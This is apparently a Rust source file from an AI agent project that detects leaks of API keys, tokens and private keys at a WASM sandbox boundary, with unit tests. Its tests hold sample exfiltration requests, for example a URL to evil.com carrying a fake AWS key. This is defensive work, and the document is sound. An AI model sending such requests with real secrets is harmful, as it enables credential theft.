Files
optimclaw/src/safety/leak_detector.rs
T
5df0d13b59 Bump MSRV to 1.92, add GCP deployment files (#40)
* Bump MSRV to 1.92 and add GCP deployment files

rig-core 0.30 uses let_chains (stabilized post-1.87), which breaks
builds on Rust 1.85. Bump rust-version in Cargo.toml and both
Dockerfiles to 1.92 (verified working).

Add cloud deployment scaffolding:
- Dockerfile: multi-stage build for the main agent container
- deploy/cloud-sql-proxy.service: systemd unit for Cloud SQL Auth Proxy
- deploy/ironclaw.service: systemd unit for the IronClaw container
- deploy/setup.sh: VM bootstrap script (Docker, proxy, services)
- deploy/env.example: reference environment configuration

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* Address review feedback: harden deploy scaffolding

- Add comment explaining GATEWAY_HOST=0.0.0.0 and when to use 127.0.0.1
- Document /opt/ironclaw ownership model (root-owned, Docker reads as root)
- Switch cloud-sql-proxy service from User=root to DynamicUser=yes

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: Resolve clippy lints (Rust 1.93) and fix CI test workflow

- Fix 97 collapsible_if warnings using let-chains syntax (auto-fixed)
- Fix ptr_arg: change &PathBuf to &Path in pairing store functions
- Fix suspicious_open_options: add .truncate(false) to OpenOptions
- Fix too_many_arguments: add clippy allow on execute_status
- Fix unnecessary_unwrap: use if-let in repository.rs hybrid_search
- Gate unused EchoTool with #[cfg(test)]
- Add PairingStore argument to ChannelStoreData::new() test call sites
- Add skip guard for bundled channel test when WASM artifacts unavailable
- Split CI test workflow to exclude PostgreSQL-dependent integration tests

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: Address review feedback from ilblackdragon

- Add root check to setup.sh (exits with error if not root)
- Add warning comment to env.example about placeholder passwords
- Dockerfile.worker already uses rust:1.92 (no change needed)
- PR #41 overlap noted; will rebase after #41 merges

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: resolve 47 collapsible_if clippy warnings

Collapse nested if statements across the codebase to satisfy
clippy::collapsible_if on Rust 1.93.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-02-13 22:21:50 +04:00

721 lines
24 KiB
Rust

//! Secret leak detection for WASM sandbox.
//!
//! Scans data at the sandbox boundary to prevent secret exfiltration.
//! Uses Aho-Corasick for fast multi-pattern matching plus regex for
//! complex patterns.
//!
//! # Security Model
//!
//! Leak detection happens at TWO points:
//!
//! 1. **Before outbound requests** - Prevents WASM from exfiltrating secrets
//! by encoding them in URLs, headers, or request bodies
//! 2. **After responses/outputs** - Prevents accidental exposure in logs,
//! tool outputs, or data returned to WASM
//!
//! # Architecture
//!
//! ```text
//! ┌─────────────────────────────────────────────────────────────────────────────┐
//! │ WASM HTTP Request Flow │
//! │ │
//! │ WASM ──► Allowlist ──► Leak Scan ──► Credential ──► Execute ──► Response │
//! │ Validator (request) Injector Request │ │
//! │ ▼ │
//! │ WASM ◀── Leak Scan ◀── Response │
//! │ (response) │
//! └─────────────────────────────────────────────────────────────────────────────┘
//!
//! ┌─────────────────────────────────────────────────────────────────────────────┐
//! │ Scan Result Actions │
//! │ │
//! │ LeakDetector.scan() ──► LeakScanResult │
//! │ │ │
//! │ ├─► clean: pass through │
//! │ ├─► warn: log, pass │
//! │ ├─► redact: mask secret │
//! │ └─► block: reject entirely │
//! └─────────────────────────────────────────────────────────────────────────────┘
//! ```
use std::ops::Range;
use aho_corasick::AhoCorasick;
use regex::Regex;
/// Action to take when a leak is detected.
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum LeakAction {
/// Block the output entirely (for critical secrets).
Block,
/// Redact the secret, replacing it with [REDACTED].
Redact,
/// Log a warning but allow the output.
Warn,
}
impl std::fmt::Display for LeakAction {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
match self {
LeakAction::Block => write!(f, "block"),
LeakAction::Redact => write!(f, "redact"),
LeakAction::Warn => write!(f, "warn"),
}
}
}
/// Severity of a detected leak.
#[derive(Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord)]
pub enum LeakSeverity {
Low,
Medium,
High,
Critical,
}
impl std::fmt::Display for LeakSeverity {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
match self {
LeakSeverity::Low => write!(f, "low"),
LeakSeverity::Medium => write!(f, "medium"),
LeakSeverity::High => write!(f, "high"),
LeakSeverity::Critical => write!(f, "critical"),
}
}
}
/// A pattern for detecting secret leaks.
#[derive(Debug, Clone)]
pub struct LeakPattern {
pub name: String,
pub regex: Regex,
pub severity: LeakSeverity,
pub action: LeakAction,
}
/// A detected potential secret leak.
#[derive(Debug, Clone)]
pub struct LeakMatch {
pub pattern_name: String,
pub severity: LeakSeverity,
pub action: LeakAction,
/// Location in the scanned content.
pub location: Range<usize>,
/// A preview of the match with the secret partially masked.
pub masked_preview: String,
}
/// Result of scanning content for leaks.
#[derive(Debug)]
pub struct LeakScanResult {
/// All detected potential leaks.
pub matches: Vec<LeakMatch>,
/// Whether any match requires blocking.
pub should_block: bool,
/// Content with secrets redacted (if redaction was applied).
pub redacted_content: Option<String>,
}
impl LeakScanResult {
/// Check if content is clean (no leaks detected).
pub fn is_clean(&self) -> bool {
self.matches.is_empty()
}
/// Get the highest severity found.
pub fn max_severity(&self) -> Option<LeakSeverity> {
self.matches.iter().map(|m| m.severity).max()
}
}
/// Detector for secret leaks in output data.
pub struct LeakDetector {
patterns: Vec<LeakPattern>,
/// For fast prefix matching of known patterns
prefix_matcher: Option<AhoCorasick>,
known_prefixes: Vec<(String, usize)>, // (prefix, pattern_index)
}
impl LeakDetector {
/// Create a new detector with default patterns.
pub fn new() -> Self {
Self::with_patterns(default_patterns())
}
/// Create a detector with custom patterns.
pub fn with_patterns(patterns: Vec<LeakPattern>) -> Self {
// Build prefix matcher for patterns that start with a known prefix
let mut prefixes = Vec::new();
for (idx, pattern) in patterns.iter().enumerate() {
if let Some(prefix) = extract_literal_prefix(pattern.regex.as_str())
&& prefix.len() >= 3
{
prefixes.push((prefix, idx));
}
}
let prefix_matcher = if !prefixes.is_empty() {
let prefix_strings: Vec<&str> = prefixes.iter().map(|(s, _)| s.as_str()).collect();
AhoCorasick::builder()
.ascii_case_insensitive(false)
.build(&prefix_strings)
.ok()
} else {
None
};
Self {
patterns,
prefix_matcher,
known_prefixes: prefixes,
}
}
/// Scan content for potential secret leaks.
pub fn scan(&self, content: &str) -> LeakScanResult {
let mut matches = Vec::new();
let mut should_block = false;
let mut redact_ranges = Vec::new();
// Use prefix matcher for quick elimination
let candidate_indices: Vec<usize> = if let Some(ref matcher) = self.prefix_matcher {
let mut indices = Vec::new();
for mat in matcher.find_iter(content) {
let pattern_idx = self.known_prefixes[mat.pattern().as_usize()].1;
if !indices.contains(&pattern_idx) {
indices.push(pattern_idx);
}
}
// Also include patterns without prefixes
for (idx, _) in self.patterns.iter().enumerate() {
if !self.known_prefixes.iter().any(|(_, i)| *i == idx) && !indices.contains(&idx) {
indices.push(idx);
}
}
indices
} else {
(0..self.patterns.len()).collect()
};
// Check candidate patterns
for idx in candidate_indices {
let pattern = &self.patterns[idx];
for mat in pattern.regex.find_iter(content) {
let matched_text = mat.as_str();
let location = mat.start()..mat.end();
let leak_match = LeakMatch {
pattern_name: pattern.name.clone(),
severity: pattern.severity,
action: pattern.action,
location: location.clone(),
masked_preview: mask_secret(matched_text),
};
if pattern.action == LeakAction::Block {
should_block = true;
}
if pattern.action == LeakAction::Redact {
redact_ranges.push(location.clone());
}
matches.push(leak_match);
}
}
// Sort by location for proper redaction
matches.sort_by_key(|m| m.location.start);
redact_ranges.sort_by_key(|r| r.start);
// Build redacted content if needed
let redacted_content = if !redact_ranges.is_empty() {
Some(apply_redactions(content, &redact_ranges))
} else {
None
};
LeakScanResult {
matches,
should_block,
redacted_content,
}
}
/// Scan content and return cleaned version based on action.
///
/// Returns `Err` if content should be blocked, `Ok(content)` otherwise.
pub fn scan_and_clean(&self, content: &str) -> Result<String, LeakDetectionError> {
let result = self.scan(content);
if result.should_block {
// Find the blocking match for error message
let blocking_match = result
.matches
.iter()
.find(|m| m.action == LeakAction::Block);
return Err(LeakDetectionError::SecretLeakBlocked {
pattern: blocking_match
.map(|m| m.pattern_name.clone())
.unwrap_or_default(),
preview: blocking_match
.map(|m| m.masked_preview.clone())
.unwrap_or_default(),
});
}
// Log warnings
for m in &result.matches {
if m.action == LeakAction::Warn {
tracing::warn!(
pattern = %m.pattern_name,
severity = %m.severity,
preview = %m.masked_preview,
"Potential secret leak detected (warning only)"
);
}
}
// Return redacted content if any, otherwise original
Ok(result
.redacted_content
.unwrap_or_else(|| content.to_string()))
}
/// Scan an outbound HTTP request for potential secret leakage.
///
/// This MUST be called before executing any HTTP request from WASM
/// to prevent exfiltration of secrets via URL, headers, or body.
///
/// Returns `Err` if any part contains a blocked secret pattern.
pub fn scan_http_request(
&self,
url: &str,
headers: &[(String, String)],
body: Option<&[u8]>,
) -> Result<(), LeakDetectionError> {
// Scan URL (most common exfiltration vector)
self.scan_and_clean(url)?;
// Scan each header value
for (name, value) in headers {
self.scan_and_clean(value)
.map_err(|e| LeakDetectionError::SecretLeakBlocked {
pattern: format!("header:{}", name),
preview: e.to_string(),
})?;
}
// Scan body if present. Use lossy UTF-8 conversion so a leading
// non-UTF8 byte can't be used to skip scanning entirely.
if let Some(body_bytes) = body {
let body_str = String::from_utf8_lossy(body_bytes);
self.scan_and_clean(&body_str)?;
}
Ok(())
}
/// Add a custom pattern at runtime.
pub fn add_pattern(&mut self, pattern: LeakPattern) {
self.patterns.push(pattern);
// Note: prefix_matcher won't be updated; rebuild if needed
}
/// Get the number of patterns.
pub fn pattern_count(&self) -> usize {
self.patterns.len()
}
}
impl Default for LeakDetector {
fn default() -> Self {
Self::new()
}
}
/// Error from leak detection.
#[derive(Debug, Clone, thiserror::Error)]
pub enum LeakDetectionError {
#[error("Secret leak blocked: pattern '{pattern}' matched '{preview}'")]
SecretLeakBlocked { pattern: String, preview: String },
}
/// Mask a secret for safe display.
///
/// Shows first 4 and last 4 characters, masks the middle.
fn mask_secret(secret: &str) -> String {
let len = secret.len();
if len <= 8 {
return "*".repeat(len);
}
let prefix: String = secret.chars().take(4).collect();
let suffix: String = secret.chars().skip(len - 4).collect();
let middle_len = len - 8;
format!("{}{}{}", prefix, "*".repeat(middle_len.min(8)), suffix)
}
/// Apply redaction ranges to content.
fn apply_redactions(content: &str, ranges: &[Range<usize>]) -> String {
if ranges.is_empty() {
return content.to_string();
}
let mut result = String::with_capacity(content.len());
let mut last_end = 0;
for range in ranges {
if range.start > last_end {
result.push_str(&content[last_end..range.start]);
}
result.push_str("[REDACTED]");
last_end = range.end;
}
if last_end < content.len() {
result.push_str(&content[last_end..]);
}
result
}
/// Extract a literal prefix from a regex pattern (if one exists).
fn extract_literal_prefix(pattern: &str) -> Option<String> {
let mut prefix = String::new();
for ch in pattern.chars() {
match ch {
// These start special regex constructs
'[' | '(' | '.' | '*' | '+' | '?' | '{' | '|' | '^' | '$' => break,
// Escape sequence
'\\' => break,
// Regular character
_ => prefix.push(ch),
}
}
if prefix.len() >= 3 {
Some(prefix)
} else {
None
}
}
/// Default leak detection patterns.
fn default_patterns() -> Vec<LeakPattern> {
vec![
// OpenAI API keys
LeakPattern {
name: "openai_api_key".to_string(),
regex: Regex::new(r"sk-(?:proj-)?[a-zA-Z0-9]{20,}(?:T3BlbkFJ[a-zA-Z0-9_-]*)?").unwrap(),
severity: LeakSeverity::Critical,
action: LeakAction::Block,
},
// Anthropic API keys
LeakPattern {
name: "anthropic_api_key".to_string(),
regex: Regex::new(r"sk-ant-api[a-zA-Z0-9_-]{90,}").unwrap(),
severity: LeakSeverity::Critical,
action: LeakAction::Block,
},
// AWS Access Key ID
LeakPattern {
name: "aws_access_key".to_string(),
regex: Regex::new(r"AKIA[0-9A-Z]{16}").unwrap(),
severity: LeakSeverity::Critical,
action: LeakAction::Block,
},
// GitHub tokens
LeakPattern {
name: "github_token".to_string(),
regex: Regex::new(r"gh[pousr]_[A-Za-z0-9_]{36,}").unwrap(),
severity: LeakSeverity::Critical,
action: LeakAction::Block,
},
// GitHub fine-grained PAT
LeakPattern {
name: "github_fine_grained_pat".to_string(),
regex: Regex::new(r"github_pat_[a-zA-Z0-9]{22}_[a-zA-Z0-9]{59}").unwrap(),
severity: LeakSeverity::Critical,
action: LeakAction::Block,
},
// Stripe keys
LeakPattern {
name: "stripe_api_key".to_string(),
regex: Regex::new(r"sk_(?:live|test)_[a-zA-Z0-9]{24,}").unwrap(),
severity: LeakSeverity::Critical,
action: LeakAction::Block,
},
// NEAR AI session tokens
LeakPattern {
name: "nearai_session".to_string(),
regex: Regex::new(r"sess_[a-zA-Z0-9]{32,}").unwrap(),
severity: LeakSeverity::Critical,
action: LeakAction::Block,
},
// PEM private keys
LeakPattern {
name: "pem_private_key".to_string(),
regex: Regex::new(r"-----BEGIN\s+(?:RSA\s+)?PRIVATE\s+KEY-----").unwrap(),
severity: LeakSeverity::Critical,
action: LeakAction::Block,
},
// SSH private keys
LeakPattern {
name: "ssh_private_key".to_string(),
regex: Regex::new(r"-----BEGIN\s+(?:OPENSSH|EC|DSA)\s+PRIVATE\s+KEY-----").unwrap(),
severity: LeakSeverity::Critical,
action: LeakAction::Block,
},
// Google API keys
LeakPattern {
name: "google_api_key".to_string(),
regex: Regex::new(r"AIza[0-9A-Za-z_-]{35}").unwrap(),
severity: LeakSeverity::High,
action: LeakAction::Block,
},
// Slack tokens
LeakPattern {
name: "slack_token".to_string(),
regex: Regex::new(r"xox[baprs]-[0-9a-zA-Z-]{10,}").unwrap(),
severity: LeakSeverity::High,
action: LeakAction::Block,
},
// Twilio API keys
LeakPattern {
name: "twilio_api_key".to_string(),
regex: Regex::new(r"SK[a-fA-F0-9]{32}").unwrap(),
severity: LeakSeverity::High,
action: LeakAction::Block,
},
// SendGrid API keys
LeakPattern {
name: "sendgrid_api_key".to_string(),
regex: Regex::new(r"SG\.[a-zA-Z0-9_-]{22}\.[a-zA-Z0-9_-]{43}").unwrap(),
severity: LeakSeverity::High,
action: LeakAction::Block,
},
// Bearer tokens (redact instead of block, might be intentional)
LeakPattern {
name: "bearer_token".to_string(),
regex: Regex::new(r"Bearer\s+[a-zA-Z0-9_-]{20,}").unwrap(),
severity: LeakSeverity::High,
action: LeakAction::Redact,
},
// Authorization header with key
LeakPattern {
name: "auth_header".to_string(),
regex: Regex::new(r"(?i)authorization:\s*[a-zA-Z]+\s+[a-zA-Z0-9_-]{20,}").unwrap(),
severity: LeakSeverity::High,
action: LeakAction::Redact,
},
// High entropy hex (potential secrets, warn only)
// Uses word boundary since look-around isn't supported in the regex crate.
// This catches standalone 64-char hex strings (like SHA256 hashes used as secrets).
LeakPattern {
name: "high_entropy_hex".to_string(),
regex: Regex::new(r"\b[a-fA-F0-9]{64}\b").unwrap(),
severity: LeakSeverity::Medium,
action: LeakAction::Warn,
},
]
}
#[cfg(test)]
mod tests {
use crate::safety::leak_detector::{LeakDetector, LeakSeverity};
#[test]
fn test_detect_openai_key() {
let detector = LeakDetector::new();
let content = "API key: sk-proj-abc123def456ghi789jkl012mno345pqrT3BlbkFJtest123";
let result = detector.scan(content);
assert!(!result.is_clean());
assert!(result.should_block);
assert!(
result
.matches
.iter()
.any(|m| m.pattern_name == "openai_api_key")
);
}
#[test]
fn test_detect_github_token() {
let detector = LeakDetector::new();
let content = "token: ghp_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";
let result = detector.scan(content);
assert!(!result.is_clean());
assert!(
result
.matches
.iter()
.any(|m| m.pattern_name == "github_token")
);
}
#[test]
fn test_detect_aws_key() {
let detector = LeakDetector::new();
let content = "AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE";
let result = detector.scan(content);
assert!(!result.is_clean());
assert!(
result
.matches
.iter()
.any(|m| m.pattern_name == "aws_access_key")
);
}
#[test]
fn test_detect_pem_key() {
let detector = LeakDetector::new();
let content = "-----BEGIN RSA PRIVATE KEY-----\nMIIEowIBAAKCAQEA...";
let result = detector.scan(content);
assert!(!result.is_clean());
assert!(
result
.matches
.iter()
.any(|m| m.pattern_name == "pem_private_key")
);
}
#[test]
fn test_clean_content() {
let detector = LeakDetector::new();
let content = "Hello world! This is just regular text with no secrets.";
let result = detector.scan(content);
assert!(result.is_clean());
assert!(!result.should_block);
}
#[test]
fn test_redact_bearer_token() {
let detector = LeakDetector::new();
let content = "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9_longtokenvalue";
let result = detector.scan(content);
assert!(!result.is_clean());
assert!(!result.should_block); // Bearer is redact, not block
let redacted = result.redacted_content.unwrap();
assert!(redacted.contains("[REDACTED]"));
assert!(!redacted.contains("eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9"));
}
#[test]
fn test_scan_and_clean_blocks() {
let detector = LeakDetector::new();
let content = "sk-proj-test1234567890abcdefghij";
let result = detector.scan_and_clean(content);
assert!(result.is_err());
}
#[test]
fn test_scan_and_clean_passes_clean() {
let detector = LeakDetector::new();
let content = "Just regular text";
let result = detector.scan_and_clean(content);
assert!(result.is_ok());
assert_eq!(result.unwrap(), content);
}
#[test]
fn test_mask_secret() {
use crate::safety::leak_detector::mask_secret;
assert_eq!(mask_secret("short"), "*****");
assert_eq!(mask_secret("sk-test1234567890abcdef"), "sk-t********cdef");
}
#[test]
fn test_multiple_matches() {
let detector = LeakDetector::new();
let content = "Keys: AKIAIOSFODNN7EXAMPLE and ghp_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";
let result = detector.scan(content);
assert_eq!(result.matches.len(), 2);
}
#[test]
fn test_severity_ordering() {
assert!(LeakSeverity::Critical > LeakSeverity::High);
assert!(LeakSeverity::High > LeakSeverity::Medium);
assert!(LeakSeverity::Medium > LeakSeverity::Low);
}
#[test]
fn test_scan_http_request_clean() {
let detector = LeakDetector::new();
let result = detector.scan_http_request(
"https://api.example.com/data",
&[("Content-Type".to_string(), "application/json".to_string())],
Some(b"{\"query\": \"hello\"}"),
);
assert!(result.is_ok());
}
#[test]
fn test_scan_http_request_blocks_secret_in_url() {
let detector = LeakDetector::new();
// Attempt to exfiltrate AWS key in URL
let result = detector.scan_http_request(
"https://evil.com/steal?key=AKIAIOSFODNN7EXAMPLE",
&[],
None,
);
assert!(result.is_err());
}
#[test]
fn test_scan_http_request_blocks_secret_in_header() {
let detector = LeakDetector::new();
// Attempt to exfiltrate in custom header
let result = detector.scan_http_request(
"https://api.example.com/data",
&[(
"X-Custom".to_string(),
"ghp_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx".to_string(),
)],
None,
);
assert!(result.is_err());
}
#[test]
fn test_scan_http_request_blocks_secret_in_body() {
let detector = LeakDetector::new();
// Attempt to exfiltrate in request body
let body = b"{\"stolen\": \"sk-proj-test1234567890abcdefghij\"}";
let result = detector.scan_http_request("https://api.example.com/webhook", &[], Some(body));
assert!(result.is_err());
}
#[test]
fn test_scan_http_request_blocks_secret_in_binary_body() {
let detector = LeakDetector::new();
// Attacker prepends a non-UTF8 byte to bypass strict from_utf8 check.
// The lossy conversion should still detect the secret.
let mut body = vec![0xFF]; // invalid UTF-8 leading byte
body.extend_from_slice(b"sk-proj-test1234567890abcdefghij");
let result = detector.scan_http_request("https://api.example.com/exfil", &[], Some(&body));
assert!(result.is_err(), "binary body should still be scanned");
}
}